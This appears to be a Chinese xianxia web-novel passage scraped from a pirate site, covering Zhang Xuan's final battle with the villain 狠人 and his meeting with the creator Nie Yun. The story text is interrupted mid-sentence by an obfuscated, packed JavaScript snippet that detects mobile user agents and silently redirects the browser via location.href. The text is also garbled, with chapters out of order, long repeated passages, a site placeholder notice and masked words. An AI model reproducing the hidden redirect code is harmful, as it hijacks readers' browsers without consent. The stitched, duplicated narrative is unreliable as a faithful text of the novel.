“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546028|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第56章等待明主 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? 